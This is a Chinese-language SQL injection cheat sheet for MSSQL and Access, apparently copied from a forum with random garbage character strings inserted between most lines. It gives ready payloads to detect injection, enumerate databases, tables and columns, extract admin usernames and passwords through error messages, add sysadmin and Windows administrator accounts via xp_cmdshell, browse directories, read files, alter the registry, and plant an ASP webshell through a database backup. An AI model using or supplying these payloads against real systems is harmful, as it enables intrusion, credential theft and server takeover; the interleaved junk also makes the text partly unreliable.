1.判断是否有注入 / X* |; ~+ F% N% \% O5 P
;and 1=1 $ Q0 W6 t5 i5 b9 P1 H) `/ o! u
;and 1=2 " b. y8 I; K0 d; J
2 c0 v; J& F) u0 R w2.初步判断是否是mssql
' s% y( h% s. i& I& c* m' n9 s;and user>0 4 g) [7 P h' _3 G D
6 R8 `' i! b/ O* f; T
3.判断数据库系统 : v, E" X j# `1 d; n2 @; Y% l
;and (select count(*) from sysobjects)>0 mssql
5 P- B3 e+ S6 E* X& ]; M& [;and (select count(*) from msysobjects)>0 access
$ [! M( w/ _3 h* H/ N* G- T
3 [- e2 B6 Q# N5 k4.注入参数是字符
+ A- r7 Q/ B* F+ R'and [查询条件] and ''=' + _% a, ]" b$ U; Y: j6 Z+ x' }2 _
& e& C: L2 Q! ], O2 b. p
5.搜索时没过滤参数的 ) h/ p& c8 F. `: v$ X; D F
'and [查询条件] and '%25'='
3 Q1 h6 a2 l$ ?7 o$ [) `( @/ O- v; U0 d6 H Z; |
6.猜数表名
+ J& {. e3 L- a/ ~;and (select Count(*) from [表名])>0 % L9 W0 s% `9 V+ L' Z$ M: X8 l( B
1 \7 ]# L3 Q! ^( E
7.猜字段
1 B; Z! X" Q* G/ \8 k" f2 u" |;and (select Count(字段名) from 表名)>0
9 S9 Y5 J! ]% n, E4 S/ w
; V+ j- ~5 q/ G, b0 q! e8.猜字段中记录长度
2 f) N" v9 Z/ J, o" ~4 y;and (select top 1 len(字段名) from 表名)>0
' D6 E5 P2 F% U7 p1 ^: Z$ z9 N% f
+ p/ y! e6 v0 o2 m2 _4 M2 l9.(1)猜字段的ascii值(access) $ l; |9 g+ M) s
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 9 ?% z5 Q9 g, T: G$ Q2 M
8 \) P" g. m1 t$ D* o; v(2)猜字段的ascii值(mssql) C$ E1 g1 {$ Q# F8 S( Z9 b5 B
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
, |! V2 E. J' z6 a% R J% p8 }4 { U0 ?( Z( h4 ^, X, S* e4 F
10.测试权限结构(mssql)
0 Y- c2 d8 ^) D$ r;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
0 L# Y3 o$ b k4 f;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ; d' d a+ I+ J+ ?) y( g3 R
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
& S0 u% u% d6 d;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
% k5 T+ ?* U9 B _( I& L;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- . I% b) N' m7 s
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
1 `- J# M* [* T' H8 u& y& z9 w;and 1=(select IS_MEMBER('db_owner'));-- 2 f% {9 @ t+ ]9 r X4 r& A" `
0 x3 L0 x# _7 y7 }- d1 a11.添加mssql和系统的帐户
' A' B( z8 e7 o" B;exec master.dbo.sp_addlogin username;--
. F4 t9 ^7 z+ K% w- h;exec master.dbo.sp_password null,username,password;-- # t- \# q* Q8 V
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
; M& J* N0 S: O9 |7 N' d;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 5 _- e/ V; d' F. A! w% x' _, M- {
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 3 u% i4 F9 |- P& X6 |1 y/ p
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
) B8 d8 Y( K' b( R$ V9 r- d$ R8 P; ?# r! E4 Q
12.(1)遍历目录 ' @! \8 ?- m* B3 {) ~9 U7 A
;create table dirs(paths varchar(100), id int) * ]/ a) s. m7 {6 a
;insert dirs exec master.dbo.xp_dirtree 'c:\'
. O* z/ b3 L$ a: J0 U H/ f;and (select top 1 paths from dirs)>0 6 {9 Z3 h M/ Y. y
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
0 b( r0 O# x# O7 ~. q* X& Z
( i/ a9 Q3 a9 K* v1 C(2)遍历目录
; n* |5 u; x' \4 b;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
& ]. v( \! I4 x: P;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 , q1 q& a1 l5 y' t2 D z
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
2 R8 T# Z. F' M;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
z( Z" W6 `+ g/ ]' K9 g& V- c;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 8 c# q n/ u+ f) P* ~
^# h* b& [% C; M& q
13.mssql中的存储过程
9 o0 i5 X, g4 h) Q' Qxp_regenumvalues 注册表根键, 子键 3 r' j# v+ P9 r" l0 P, o3 ]
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
3 x; f: T+ I' [. g7 b6 e0 s2 ixp_regread 根键,子键,键值名
U6 m6 {8 X! f9 v* `5 z% r;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
7 u* \6 h1 T3 r2 [8 d6 H% X* h" ?xp_regwrite 根键,子键, 值名, 值类型, 值
) s. |! K4 A: k; A值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
3 G8 M! z$ X/ [% s6 R2 F: [. _;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
( L. m6 [* \. K- xxp_regdeletevalue 根键,子键,值名 * W* G: o# A* Y8 A' ^2 s
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
2 ]# }) x/ \0 U+ axp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
. N' X4 r8 H- q/ A9 D! ?& F
0 x% o0 n0 g X# r14.mssql的backup创建webshell & d7 g. x9 o/ \ M: V
use model 2 H4 ]3 m* B) L7 V4 O5 K
create table cmd(str image); ' ]. X% h8 N, @0 H
insert into cmd(str) values ('<% Dim oScript %>');
3 h+ J- n7 n0 `8 f( \backup database model to disk='c:\l.asp'; * A- v. H- c! g/ W+ ]
) I2 {6 K% V: W
15.mssql内置函数
k7 f4 v* T* M q0 ]2 k( d4 L, z$ l;and (select @@version)>0 获得Windows的版本号 ' G/ i, F) G1 \# z# Z; O% j
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 7 R+ a" g) i, `
;and (select user_name())>0 爆当前系统的连接用户
3 _+ G6 k5 P5 |;and (select db_name())>0 得到当前连接的数据库
! a$ g4 _) Z1 d- D# X
: s+ {" D) ?- }& r8 U: }$ _2 u9 Y3 f* T' H4 O
8 A# ^7 E7 H; x% S
MSSQL手注暴库
; j- d1 \8 W$ M# g0 u" v0 m( C0 {) ]. a9 A7 Z9 @6 u, d0 K# o
1.暴出当前表名和列名
+ |4 d' o- P2 H在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
# d3 V) }1 U8 C
3 A& B! a" R& r& B G7 }# E第一.爆出所有数据库名7 C/ g6 _: T' y9 [2 \
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
* C0 C, ~; k* \7 B; `, ~% g( O第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。8 X* A/ F8 E+ `# @3 n% w
, D- q( N0 t. i7 qand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名
- _0 U" n3 Z6 @, t) `/ K) L1 z
& m; m/ z& R6 m3 `* c) Q) u( j6 s& k) b: e
第二.爆出指定库中的所有表名
4 o- h1 H4 j% }3 k9 y" _得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
; z6 g1 P3 G& Z) K* }8 A再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
1 i* `0 r+ |' Q- n
7 N/ S' k- x8 M4 n/ c* Zand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--9 h0 \4 X5 K4 S- Z s; z
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
* g& J/ g+ P: z3 L( ~and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
9 Q% k7 H( M5 E- I
" { g; j6 D+ m& B) K4.爆出指定表中的所有列名7 ?: f; @( z+ ?: N" y
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
6 [3 Z8 h1 e# c% G u, o( d//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'
8 S9 D& [: w% q8 m
; b( J2 j: K; a$ u, ?6 x' ^( rand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名
* T* h. Q, h& H8 E5 l% l W/ w6 @5 v4 o0 P6 {/ |8 `( ^
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- 8 j# k, m/ Z& S6 F/ l
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。3 d* U+ z1 h) K
+ ]: i* ]# e3 G1 A
, q* I; C# Y3 eand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值. ^, s9 ]7 v* I8 p
7 p& }- @2 y P; Xand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
. N i& u5 D5 y5 M. T! A1 b/ t4 L
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
% c. z& a& k6 y4 {$ m* u
# I. ^! v4 c! k9 r; W' n" w' {' H0 @0 V! k: W6 S: R0 L. U- c
3 D D0 L; E6 G2 z- E8 W4 O0 i
5.读取指定表中的数据- v s- q0 s- L q* @0 }. l7 t
7 ]+ u3 e& V9 \ K6 s d7 \" e Eand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 ' S3 p) U, |3 z. v2 {
- X5 Z% ]# }- S& [
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
) W) U& r7 A" L; s7 \/ n- R Y$ K3 C4 m2 G2 v" @
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
+ o+ D% Q$ w! \# B
1 d, ]# r: Y1 _8 N( E" H0 h' w5 \( _. Y7 Q: K
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)1 x1 L/ @( W X* r6 o7 L) n0 ~
0 T* X- k! w* @. X
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)* G+ u: S. I5 D- c! L; S
. A. v+ Z) @. L
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--) c* L3 R* Q. @4 a Z
) x( R8 g. ~/ ^5 ~1 R4 _* m% Q" }2 K
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
5 X% {' i }6 J) A |